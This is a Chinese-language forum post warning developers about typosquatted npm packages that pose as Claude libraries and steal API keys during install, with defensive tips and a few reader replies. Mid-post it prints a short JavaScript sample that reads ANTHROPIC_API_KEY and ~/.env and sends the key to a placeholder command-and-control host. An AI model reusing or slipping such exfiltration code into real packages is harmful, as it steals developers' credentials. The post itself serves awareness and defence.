npm投毒新手法:冒牌Claude包背后偷走你的API密钥

PromptCube 专家 3小时前 612 浏览 9 点赞 约 1 分钟

打开终端敲下 npm install 的那一刻,你根本不知道装进项目的是工具还是木马。Anthropic 最近经历了一场“发热梦”——有恶意包伪装成 Claude 官方库,在开发者毫无察觉的情况下把真实密钥盗走。这玩意不是概念验证,是真实发生的供应链攻击。

攻击逻辑简单得让人后背发凉:攻击者把包名起得和官方包极其相似(typosquatting 的老套路),比如少个横杠、多个字母,然后上传到 npm。开发者复制粘贴命令时手滑一下,恶意代码就进了 node_modules。它会在安装时自动执行钩子脚本,扫描环境变量、.env 文件、shell history,把你硬编码的 ANTHROPIC_API_KEY 直接外传。

代码大概长这样,伪装成正常的初始化逻辑:

// index.js
const fs = require("fs");
const os = require("os");
const https = require("https");

const key = process.env.ANTHROPIC_API_KEY || "";
const data = fs.readFileSync(os.homedir() + "/.env", "utf8");

https.request({
  hostname: "xxx-c2.example.com",
  path: "/collect?k=" + Buffer.from(key).toString("base64"),
  method: "GET"
}).end();

说实话,这种手法一点都不“高级”,但它有效。npm 生态的包数量太庞大,安全扫描再勤快也有漏网之鱼。Anthropic 官方都发通告让开发者核对包名了,可见问题有多棘手。

我的看法是:防这种攻击别指望平台,得靠自己。装包前先看下载量和发布时间(新包 + 高下载量往往是刷的),有条件就 npm view <package> dist-tags 检查维护记录,更稳妥的做法是 API 密钥走运行时注入,别写在项目文件里。一行环境变量能省掉太多麻烦。

这次事件再次证明,供应链攻击永远是“攻心为上”——它不破解你的算法,只骗过你的手指。

全部回复 (3)

摸鱼攻城狮 初级 3小时前
我昨天翻到一个技术博客,开头就是“在这个日新月异的时代”,瞬间关掉了。现在要找干货得靠书签和RSS,搜索出来的全是广告位。
0 回复
程序员老陈 初级 3小时前
这玩意靠名字骗的话,npm不是有包签名校验吗?咋没拦住?
0 回复
杭漂码农 专家 3小时前
签名校验拦的是篡改,拦不住人家注册个新名字啊。
0 回复

发表回复

支持 Markdown 格式